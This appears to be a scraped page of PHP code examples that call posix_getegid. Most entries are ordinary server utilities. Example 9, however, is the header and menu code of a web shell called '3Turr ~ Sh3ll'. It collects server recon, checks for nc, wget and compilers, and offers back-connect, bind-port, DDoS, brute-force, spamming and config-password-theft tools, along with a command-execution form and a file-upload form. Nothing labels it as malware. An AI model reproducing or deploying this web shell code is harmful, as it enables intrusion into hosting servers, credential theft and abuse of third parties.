Ejemplo n.º 1
0
 public function obtain()
 {
     if (function_exists('posix_geteuid') && function_exists('posix_getegid')) {
         $this->myuid = posix_geteuid();
         $this->mygid = posix_getegid();
     } else {
         $randName = '/tmp/rutorrent-' . rand() . '.tmp';
         @file_put_contents($randName, '');
         $ss = @stat($randName);
         if ($ss) {
             $this->mygid = $ss['gid'];
             $this->myuid = $ss['uid'];
             @unlink($randName);
         }
     }
     $req = new rXMLRPCRequest(new rXMLRPCCommand("to_kb", floatval(1024)));
     if ($req->run()) {
         $this->linkExist = true;
         if (!$req->fault) {
             $this->badXMLRPCVersion = false;
         }
         $req = new rXMLRPCRequest(array(new rXMLRPCCommand("get_directory"), new rXMLRPCCommand("get_session"), new rXMLRPCCommand("system.client_version"), new rXMLRPCCommand("system.library_version"), new rXMLRPCCommand("set_xmlrpc_size_limit", 67108863)));
         if ($req->run() && !$req->fault) {
             $this->directory = $req->val[0];
             $this->session = $req->val[1];
             $this->version = $req->val[2];
             $this->libVersion = $req->val[3];
             $parts = explode('.', $this->version);
             $this->iVersion = 0;
             for ($i = 0; $i < count($parts); $i++) {
                 $this->iVersion = ($this->iVersion << 8) + $parts[$i];
             }
             if (is_dir($this->session) && isLocalMode()) {
                 $ss = @stat($this->session . 'rtorrent.lock');
                 if (!$ss) {
                     $ss = @stat($this->session . 'rtorrent.dht_cache');
                 }
                 if (!$ss) {
                     $ss = @stat($this->session);
                 }
                 if ($ss) {
                     $this->gid = $ss['gid'];
                     $this->uid = $ss['uid'];
                     if (!empty($this->directory) && $this->directory[0] == '~') {
                         if (function_exists('posix_getpwuid')) {
                             $ui = posix_getpwuid($this->uid);
                             $this->directory = $ui["dir"] . substr($this->directory, 1);
                         } else {
                             $req = new rXMLRPCRequest(new rXMLRPCCommand("execute_capture", array("echo", "~")));
                             if ($req->run() && !$req->fault) {
                                 $this->directory = trim($req->val[0]) . substr($this->directory, 1);
                             }
                         }
                     }
                 }
             }
             $this->store();
         }
     }
 }
Ejemplo n.º 2
0
 public static function install_check()
 {
     //Check the cache folder
     if (!Backend::checkConfigFile()) {
         if (function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
             if ($group = posix_getgrgid(posix_getegid())) {
                 $group = $group['name'];
             }
         }
         $values = array('file' => Backend::getConfigFileLocation(), 'group' => isset($group) ? $group : false);
         Backend::addContent(Render::file('config_value.fix_config.tpl.php', $values));
         return false;
     }
     if (self::get('settings.ConfigValueSet')) {
         return true;
     }
     if (is_post()) {
         $result = true;
         foreach ($_POST as $name => $value) {
             $name = str_replace('_', '.', $name);
             if (in_array($name, array('application.Title', 'application.Moto', 'application.HelpBoxContent', 'application.Description', 'author.Name', 'author.Email', 'author.Website'))) {
                 if (!self::set($name, $value)) {
                     Backend::addError('Could not set ' . $name);
                     $result = false;
                 }
             } else {
                 var_dump('Rejected:', $name);
             }
         }
         self::set('settings.ConfigValueSet', $result);
         Controller::redirect();
     }
     Backend::addContent(Render::file('config_value.values.tpl.php'));
     return false;
 }
Ejemplo n.º 3
0
function check_file($f)
{
    echo "\nFile {$f}\n";
    echo '1.' . (file_exists($f) ? ' exists' : ' does NOT exist') . " \n";
    if (!file_exists($f)) {
        echo 'Remaining checks skipped' . " \n";
        return;
    }
    echo '2. is' . (is_file($f) ? '' : ' NOT') . " a file\n";
    echo '3. is' . (is_readable($f) ? '' : ' NOT') . " readable\n";
    echo '4. is' . (is_writable($f) ? '' : ' NOT') . " writable\n";
    echo '5. has permissions ' . substr(sprintf('%o', fileperms($f)), -4) . "\n";
    echo '6. owner id ' . fileowner($f) . " (0 on Windows, blank if not permitted)\n";
    if (function_exists('posix_geteuid')) {
        $details = posix_getpwuid(posix_geteuid());
        echo '6. owner name ' . $details['name'] . " \n";
        echo '6. owner gid ' . $details['gid'] . " \n";
        $details = posix_getgrgid($details['gid']);
        echo '6. group name ' . $details['name'] . " \n";
    }
    echo '7. group id ' . filegroup($f) . " (0 on Windows, blank if not permitted)\n";
    if (function_exists('posix_getegid')) {
        $details = posix_getgrgid(posix_getegid());
        echo '7. group name ' . $details['name'] . " \n";
    }
}
Ejemplo n.º 4
0
/**
 * @version $Id: footer.php 107 2008-07-22 17:27:12Z soeren $
 * @package eXtplorer
 * @copyright soeren 2007
 * @author The eXtplorer project (http://sourceforge.net/projects/extplorer)
 * @author The  The QuiX project (http://quixplorer.sourceforge.net)
 * 
 * @license
 * The contents of this file are subject to the Mozilla Public License
 * Version 1.1 (the "License"); you may not use this file except in
 * compliance with the License. You may obtain a copy of the License at
 * http://www.mozilla.org/MPL/
 * 
 * Software distributed under the License is distributed on an "AS IS"
 * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
 * License for the specific language governing rights and limitations
 * under the License.
 * 
 * Alternatively, the contents of this file may be used under the terms
 * of the GNU General Public License Version 2 or later (the "GPL"), in
 * which case the provisions of the GPL are applicable instead of
 * those above. If you wish to allow use of your version of this file only
 * under the terms of the GPL and not to allow others to use
 * your version of this file under the MPL, indicate your decision by
 * deleting  the provisions above and replace  them with the notice and
 * other provisions required by the GPL.  If you do not delete
 * the provisions above, a recipient may use your version of this file
 * under either the MPL or the GPL."
 * 
 * Shows the About Box!
 */
function show_about()
{
    // footer for html-page
    echo "\n<div id=\"ext_footer\" style=\"text-align:center;\">\r\n\t<img src=\"" . _EXT_URL . "/images/MangosWeb_small.png\" align=\"middle\" alt=\"Mangosweb Enhanced Logo\" />\r\n\t<br />\r\n\t" . ext_Lang::msg('your_version') . ": <a href=\"" . $GLOBALS['ext_home'] . "\" target=\"_blank\">eXtplorer {$GLOBALS['ext_version']}</a>\r\n\t<br />\r\n (<a href=\"http://virtuemart.net/index2.php?option=com_versions&amp;catid=5&amp;myVersion=" . $GLOBALS['ext_version'] . "\" onclick=\"javascript:void window.open('http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=580,directories=no,location=no'); return false;\" title=\"" . $GLOBALS["messages"]["check_version"] . "\">" . $GLOBALS["messages"]["check_version"] . "</a>)\r\n\t\r\n\t";
    if (function_exists("disk_free_space")) {
        $size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']);
        $free = parse_file_size($size);
    } elseif (function_exists("diskfreespace")) {
        $size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']);
        $free = parse_file_size($size);
    } else {
        $free = "?";
    }
    echo '<br />' . $GLOBALS["messages"]["miscfree"] . ": " . $free . " \n";
    if (extension_loaded("posix")) {
        $owner_info = '<br /><br />' . ext_Lang::msg('current_user') . ' ';
        if (ext_isFTPMode()) {
            $my_user_info = posix_getpwnam($_SESSION['ftp_login']);
            $my_group_info = posix_getgrgid($my_user_info['gid']);
        } else {
            $my_user_info = posix_getpwuid(posix_geteuid());
            $my_group_info = posix_getgrgid(posix_getegid());
        }
        $owner_info .= $my_user_info['name'] . ' (' . $my_user_info['uid'] . '), ' . $my_group_info['name'] . ' (' . $my_group_info['gid'] . ')';
        echo $owner_info;
    }
    echo "\r\n\t</div>";
}
Ejemplo n.º 5
0
 public function getGroupId()
 {
     return posix_getegid();
     // effective group id
     // return posix_getgid(); // get real group id
     // return posix_getpgid($this->pid); // get group id of current process (not working?)
 }
Ejemplo n.º 6
0
 /**
  * @param  string
  * @param  int
  * @return bool  If the message should be passed on to the next filter or to the log handler.
  * @throws Exception
  */
 public function filter(LogRecord $rec)
 {
     // dont't filter?
     if ($rec->getLevel() < $this->conf['level'] || cdCtx('cli_debug')) {
         return true;
     }
     // get group
     $group = '?';
     if (($id = @posix_getegid()) !== false) {
         if (($id = @posix_getgrgid($id)) !== false) {
             $group = $id['name'];
         }
     }
     // Date & Level
     $msg = 'Time:       ' . $rec->getTimeFormat() . "\n" . 'Group:User: '******':' . cdUser() . "\n" . 'CWD:        ' . getcwd() . "\n" . 'Level:      ' . $rec->getLevelName() . "\n";
     // Prefix
     $prefix = $rec->getPrefix();
     if ($prefix) {
         $msg .= "Log Prefix: {$prefix}\n";
     } else {
         $prefix = 'main';
     }
     $msg .= "\n";
     // Message
     if ($rec->getThrown()) {
         $msg .= ABException::format($rec->getThrown(), true, false);
     }
     if ($rec->getMessage()) {
         $msg .= $rec->getMessage();
     }
     // Email headers
     $headers = 'From: ' . $this->conf['from'] . "\r\nX-Mailer: contentd/" . cdVersion();
     // Subject
     // %e = exception name, %l = log level, %j = job name
     $logLevelName = ucfirst(trim(strtolower($rec->getLevelName())));
     $subject = strtr($this->conf['subject'], array('%e' => $rec->getThrown() ? get_class($rec->getThrown()) : $logLevelName, '%l' => $logLevelName, '%j' => $prefix));
     // Action
     if (!mail($this->conf['to'], $subject, $msg, $headers)) {
         $rec->setMessage($rec->getMessage() . '. Additionaly, the Mail log filter failed to mail "' . $this->conf['to'] . '"');
     }
     return true;
 }
Ejemplo n.º 7
0
 /**
  * Handle an event.
  *
  * @param \League\Event\EventInterface $event The triggering event
  *
  * @return void
  * @see \League\Event\ListenerInterface::handle()
  */
 public function handle(EventInterface $event)
 {
     try {
         // load the application server instance
         /** @var \AppserverIo\Appserver\Core\Interfaces\ApplicationServerInterface $applicationServer */
         $applicationServer = $this->getApplicationServer();
         // write a log message that the event has been invoked
         $applicationServer->getSystemLogger()->info($event->getName());
         // don't do anything under Windows
         if (FileSystem::getOsIdentifier() === 'WIN') {
             $applicationServer->getSystemLogger()->info('Don\'t switch UID to \'%s\' because OS is Windows');
             return;
         }
         // initialize the variable for user/group
         $uid = 0;
         $gid = 0;
         // throw an exception if the POSIX extension is not available
         if (extension_loaded('posix') === false) {
             throw new \Exception('Can\'t switch user, because POSIX extension is not available');
         }
         // print a message with the old UID/EUID
         $applicationServer->getSystemLogger()->info("Running as " . posix_getuid() . "/" . posix_geteuid());
         // extract the user and group name as variables
         extract(posix_getgrnam($applicationServer->getSystemConfiguration()->getGroup()));
         extract(posix_getpwnam($applicationServer->getSystemConfiguration()->getUser()));
         // switch the effective GID to the passed group
         if (posix_setegid($gid) === false) {
             $applicationServer->getSystemLogger()->error(sprintf('Can\'t switch GID to \'%s\'', $gid));
         }
         // print a message with the new GID/EGID
         $applicationServer->getSystemLogger()->info("Running as group" . posix_getgid() . "/" . posix_getegid());
         // switch the effective UID to the passed user
         if (posix_seteuid($uid) === false) {
             $applicationServer->getSystemLogger()->error(sprintf('Can\'t switch UID to \'%s\'', $uid));
         }
         // print a message with the new UID/EUID
         $applicationServer->getSystemLogger()->info("Running as user " . posix_getuid() . "/" . posix_geteuid());
     } catch (\Exception $e) {
         $applicationServer->getSystemLogger()->error($e->__toString());
     }
 }
Ejemplo n.º 8
0
/**
 * @return array {id,name,name+id}
 */
function system_check_process_group()
{
    $process_gid = null;
    $process_group = null;
    if (function_exists('posix_getegid')) {
        $process_gid = posix_getegid();
        if (function_exists('posix_getgrgid') && ($process_group = posix_getgrgid($process_gid))) {
            $process_group = $process_group['name'];
        }
        $running_as = sprintf('%s (gid %s)', $process_group ? $process_group : '?', !is_null($process_gid) ? $process_gid : '?');
    } else {
        $running_as = '(' . T_('Unknown') . ')';
    }
    return array($process_gid, $process_group, $running_as);
}
function yemenhead()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['default_charset'];
    }
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $on = "<font color=#0F0> ON </font>";
    $of = "<font color=red> OFF </font>";
    $none = "<font color=#0F0> NONE </font>";
    if (function_exists('curl_version')) {
        $curl = $on;
    } else {
        $curl = $of;
    }
    if (function_exists('mysql_get_client_info')) {
        $mysql = $on;
    } else {
        $mysql = $of;
    }
    if (function_exists('mssql_connect')) {
        $mssql = $on;
    } else {
        $mssql = $of;
    }
    if (function_exists('pg_connect')) {
        $pg = $on;
    } else {
        $pg = $of;
    }
    if (function_exists('oci_connect')) {
        $or = $on;
    } else {
        $or = $of;
    }
    if (@ini_get('disable_functions')) {
        $disfun = '<span>Disabled functions : </span><font color=red style="word-wrap: break-word;width: 80%; " >' . @str_replace(',', ', ', @ini_get('disable_functions')) . '</font>';
    } else {
        $disfun = "<span>Disabled Functions: </span><font color=#00ff00 >All Functions Enable</font>";
    }
    if (@ini_get('safe_mode')) {
        $safe_modes = "<font color=red>ON</font>";
    } else {
        $safe_modes = "<font color=#0F0 >OFF</font>";
    }
    if (@ini_get('open_basedir')) {
        $open_b = @ini_get('open_basedir');
    } else {
        $open_b = $none;
    }
    if (@ini_get('safe_mode_exec_dir')) {
        $safe_exe = @ini_get('safe_mode_exec_dir');
    } else {
        $safe_exe = $none;
    }
    if (@ini_get('safe_mode_include_dir')) {
        $safe_include = @ini_get('safe_mode_include_dir');
    } else {
        $safe_include = $none;
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $drives = "";
    foreach (range('c', 'z') as $drive) {
        if (is_dir($drive . ':')) {
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . base64_encode($drive . ':/') . '\')">[ ' . $drive . ' ]</a> ';
        }
    }
    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>3Turr ~ Sh3ll</title>
<link rel="shortcut icon" type="image/x-icon" href="https://avatars1.githubusercontent.com/u/13343571?v=3&s=460">
<script language="javascript">
function Encoder(name)
{
	var e =  document.getElementById(name);
	e.value = btoa(e.value);
	return true;
}
function Encoder2(name)
{
	var e =  document.getElementById(name);
	e.value = btoa(e.value);
	return true;
}
</script>
<style type="text/css">
<!--
.headera { 
color: red;
}
.whole {
	
	height:auto;
	width: auto;
	margin-top: 10px;
	margin-right: 10px;
	margin-left: 10px;
    background-image: linear-gradient(
      rgba(0, 0, 0, 0.4), 
      rgba(0, 0, 0, 0.4)
    ), url(http://img03.arabsh.com/uploads/image/2012/09/11/0d37424266f70d.png);
}
.header {
table-layout: fixed;
	height: auto;
	width: auto;
	border:  4px solid #5BEEFF;
	color: yellow;
	font-size: 12px;
	font-family: Verdana, Geneva, sans-serif;
} 
tr {
  display: table-row;
  vertical-align: inherit;
  padding-right:10px;
}table {
  display: table;
  border-collapse: separate;
  border-spacing: 2px;
  border-color: #5BEEFF;
}
.header a {color:#0F0; text-decoration:none;}
span {
	font-weight: bolder;
	color: #FFF;
}
#meunlist {
	font-family: Verdana, Geneva, sans-serif;
	color: #FFF;
	background-color: #000;
	width: auto;
	border-right-width: 7px;
	border-left-width: 7px;
	border-top-style: solid;
	border-right-style: solid;
	border-bottom-style: solid;
	border-left-style: solid;
	border-color: #5BEEFF;
	height: auto;
	font-size: 12px;
	font-weight: bold;
	border-top-width: 0px;
}
  .whole #meunlist ul {
	padding-top: 5px;
	padding-right: 5px;
	padding-bottom: 7px;
	padding-left: 2px;
	text-align:center;
	list-style-type: none;
	margin: 0px;
}
  .whole #meunlist li {
	margin: 0px;
	padding: 0px;
	display: inline;
}
  .whole #meunlist a {
    font-family: arial, sans-serif;
	font-size: 14px;
	text-decoration:none;
	font-weight: bold;
	color: #fff;
	clear: both;
	width: 100px;
	margin-right: -6px;
	padding-top: 3px;
	padding-right: 15px;
	padding-bottom: 3px;
	padding-left: 15px;
	border-right-width: 1px;
	border-right-style: solid;
	border-right-color: #FFF;
}
  .whole #meunlist a:hover {
	color: red;
	background: #fff;
}
.menu a:hover {	background:#5BEEFF;}
a:hover        { color:red;background:black;} 
    .ml1        { border:1px solid #2438CF;padding:5px;margin:0;overflow: auto; } 
    .bigarea    { width:100%;height:250px; border:1px solid red; background:#171717;}
    input, textarea, select    { margin:0;color:#FF0000;background-color:#000;border:1px solid #5BEEFF; font: 9pt Monospace,"Times New roman"; } 
    form        { margin:0px; } 
    #toolsTbl    { text-align:center; } 
    .toolsInp    { width: 80%; } 
   .main th    {text-align:left;background-color:#990000;color:white;} 
 .main td, th{vertical-align:middle;} 
    pre            {font-family:Courier,Monospace;} 
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} 
}';
    if (is_writable($GLOBALS['cwd'])) {
        echo ".foottable {\n width: 300px;\n font-weight: bold;\n }";
    } else {
        echo ".foottable {\n width: 300px;\n font-weight: bold;\n background-color:red;\n }\n .dir {\n   background-color:red;  \n }\n ";
    }
    echo '.main th{text-align:left;}
 .main a{color: #FFF;}
 .main tr:hover{background-color:red;}
 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
 .bigarea{ width:99%; height:300px; }   
  </style>
';
    echo "<script>\n var c_ = '" . base64_encode(htmlspecialchars($GLOBALS['cwd'])) . "';\n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}</script>";
    echo '
</head>
<div class="whole1"></div>
<body bgcolor="#000000"  color="red" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
 <div  style="position:absolute;top:30px;right:50px; font-size:25px;font-family:auto;z-index:-1;" rowspan="8"><font color=red><img height="190px" height="190px" alt="3Turr" src="http://i.imgur.com/mVdgU0V.png" /></font><center><font style="color:#5BEEFF;text-shadow: 1px 1px 36px #5BEEFF, 0 0 25px #5BEEFF, 0 0 30px #5BEEFF, 0 0 30px #5BEEFF;">3</font><font style="color:red;text-shadow: 1px 1px 36px red, 0 0 25px red, 0 0 30px red;">Turr</font>
</div>
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
  <div class="header"><table  class="headmain" width="100%" border="0"  align="lift">
  <tr>
 <td width="3%"><span>Uname:</span></td>
 <td colspan="2">' . substr(@php_uname(), 0, 120) . '</td>
 </tr>
  <tr>
 <td><span>User:</span></td>
 <td>' . $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ] 
  </tr>
  <tr>
 <td><span>PHP:</span></td>
 <td>' . @phpversion() . '   <span>   Safe Mode: ' . $safe_modes . '</span></td>
 </tr>
  <tr>
 <td><span>IP:</span></td>
 <td>' . @$_SERVER["SERVER_ADDR"] . '    <span>Server IP:</span> ' . @$_SERVER["REMOTE_ADDR"] . '</td>
  </tr>
  <tr>
 <td><span>WEBS:</span></td>
 <td width="76%">';
    if ($GLOBALS['sys'] == 'unix') {
        $d0mains = @file("/etc/named.conf");
        if (!$d0mains) {
            echo "CANT READ named.conf";
        } else {
            $count;
            foreach ($d0mains as $d0main) {
                if (@ereg("zone", $d0main)) {
                    preg_match_all('#zone "(.*)"#', $d0main, $domains);
                    flush();
                    if (strlen(trim($domains[1][0])) > 2) {
                        flush();
                        $count++;
                    }
                }
            }
            echo "<b>{$count}</b>  Domains";
        }
    } else {
        echo "CANT READ |Windows|";
    }
    echo '</td>
 </tr>
 <tr>
 <td height="16"><span>HDD:</span></td>
 <td>' . yemenSize($totalSpace) . ' <span>Free:</span>' . yemenSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</td>
 </tr>';
    if ($GLOBALS['sys'] == 'unix') {
        if (!@ini_get('safe_mode')) {
            echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            foreach ($userful as $item) {
                if (yemenWhich($item)) {
                    echo $item . ',';
                }
            }
            echo '</td>
 </tr>
  <tr>
  <td height="0" colspan="2"><span>Downloader: </span>';
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            foreach ($downloaders as $item2) {
                if (yemenWhich($item2)) {
                    echo $item2 . ',';
                }
            }
            echo '</td>
   </tr>';
        } else {
            echo '<tr><td height="18" colspan="2"><span>useful: </span>';
            echo '--------------</td>
   </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
   </tr>';
        }
    } else {
        echo '<tr><td height="18" colspan="2"><span>Window: </span>';
        echo yemenEx('ver');
    }
    echo '<tr>
  <td height="16" colspan="2">' . $disfun . '</td>
  </tr>
  <tr>
 <td height="16" colspan="2"><span>cURL:' . $curl . '  MySQL:' . $mysql . '  MSSQL:' . $mssql . '  PostgreSQL:' . $pg . '  Oracle: </span>' . $or . '</td><td width="15%"></td>
  </tr>
  <tr>
  <td height="11" style="width:70%" colspan="3"><span>Open_basedir:' . $open_b . ' Safe_mode_exec_dir:' . $safe_exe . '   Safe_mode_include_dir:' . $safe_include . '</td>
  </tr>
  <tr>
 <td height="11"><span>Server </span></td>
 <td colspan="2">' . @getenv('SERVER_SOFTWARE') . '</td>
  </tr>';
    if ($GLOBALS[sys] == "win") {
        echo '<tr>
 <td height="12"><span>DRIVE:</span></td>
 <td colspan="2">' . $drives . '</td>
  </tr>';
    }
    echo '<tr>
 <td height="12"><span>PWD:</span></td>
 <td colspan="2" >' . $cwd_links . '  <a href=# onclick="g(\'FilesMan\',\'' . base64_encode($GLOBALS['home_cwd']) . '\')"><font color=red >[HOME]</font></a></td>
  </tr>
  </table>
</div>
 <div id="menu-box">
<style type="text/css">
div#menu{height:40px;:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;}
div#menu ul{margin:0;padding:0;list-style:none;float:left;}
div#menu ul.menu {padding-left:10px;}
div#menu li{position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;}
div#menu li:hover>ul {left:-2px;}
div#menu a {position:relative;z-index:10;height:40px;display:block;float:left;line-height:40px;text-decoration:none;font:normal 13px Trebuchet MS;}
div#menu a:hover {color:#000;}
div#menu li.current a {}
div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;}
div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);}
div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);}
div#menu a {padding:0 6px 0 10px;line-height:30px;color:#fff;}
div#menu span {margin-top:5px;}
div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;}
div#menu li.last {background:none;}
div#menu ul ul li {background:none;}
div#menu ul ul {position:absolute;top:38px;left:-999em;width:180%;padding:1px 0 0 0;background:rgb(45,45,45);margin-top:1px;}
div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:rgb(169,169,169);}
div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);}
div#menu ul ul a:hover span {color:#fff;}div#menu ul ul li.last {background:none;}
div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:1;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);}
div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);}
div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;}
div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;}
</style>
<div id="menu"><ul class="menu">
 
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li>
<li><a href="#">PHP</a>
<ul>
 <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
</ul>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" >BRUTE&CRACK</a>
<ul>
 <li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">CPanel</a></li>
<li><a href="#" onclick="g(\'bruteftp\',null,\'\',\'\',\'\')">FTP</a></li>
</ul>
</li>
<li><a href="#">NETWORK</a>
<ul>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li>
<li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li>
</ul>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<!--
<li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li>
<li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li>
-->
<li><a href="#">Perl Sh3ll</a>
	<ul>
		<li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">CGI 1.0v</a></li>
		<li><a href="#" onclick="g(\'perl4\',null,\'\',\'\',\'\')">CGI 1.4v</a></li>
	</ul>
</li>
<li><a href="#" >Mirrors</a>
<ul>
 <li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-h.org</a></li>
  <li><a href="#" onclick="g(\'zonejoy\',null,\'\',\'\',\'\')">Aljyyosh.org</a></li>
</ul>
</li>
<li><a href="#">TOOLS</a>
<ul>
  <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li>
  <li><a href="#" onclick="g(\'zip\',null,\'\',\'\',\'\')">ZIP</a></li>
  <li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')">Mail Spammer</a></li>
</ul>
</li>
<li><a href="#" >3Turr-VIP</a>
<ul>
 <li><a href="#" onclick="g(\'conpass\',null,\'\',\'\',\'\')">C0nf1G-P4$$\'s</a></li>
</ul>
</li>
<li><a href="#" onclick="g(\'yemen\',null,\'\',\'\',\'\')">ABOUT</a></li>
</ul>
 
 </div>
';
    ?>
<footer id="det" style="z-index:9999;background:#000;position:fixed; left:0px; right:0px; bottom:0px; background:rgb(0,0,0);padding:3px; text-align:center; border-top: 1px solid #ff0000; border-bottom: 2px solid #990000;color:red;">
<font align=center>3Turr ~ SH311</font>
</footer>
<form style="z-index:9999;position:fixed;left:1;bottom:4px;display:inline" onsubmit="Encoder('encod');g('proc',null,this.c.value);return false;">
<input  style="width:290px" type=text id=encod name=c value="" placeholder="Execute" <?php 
    !isset($_POST['a']) || $_POST['a'] != 'proc' || !isset($_POST['p1']) || $_POST['p1'] == '' ? print "autofocus" : 0;
    ?>
 >
<input type=submit style="color:red;width:30px;" value=">>">
</form>
<!--###################-->
<form  style="z-index:9999;position:fixed;right:10px;bottom:3px;display:inline;" method='post'  ENCTYPE='multipart/form-data'> 
<input type=hidden name=a value='FilesMAn'> 
<input type=hidden name=c value='<?php 
    echo htmlspecialchars($GLOBALS['cwd']);
    ?>
'> 
<input type=hidden name=p1 value='uploadFile'> 
<input type=hidden name=charset value='<?php 
    echo isset($_POST['charset']) ? $_POST['charset'] : '';
    ?>
'> 
<input style="border:1px solid #5BEEFF;height:19px;value:[   select    ];"  class="toolsInp" type=file name=f >  <input style="color:red;width:30px;" type=submit value=">>" ></form>
<?php 
}
Ejemplo n.º 10
0
 public static function cleanFileSytemRight()
 {
     $processUser = posix_getpwuid(posix_geteuid());
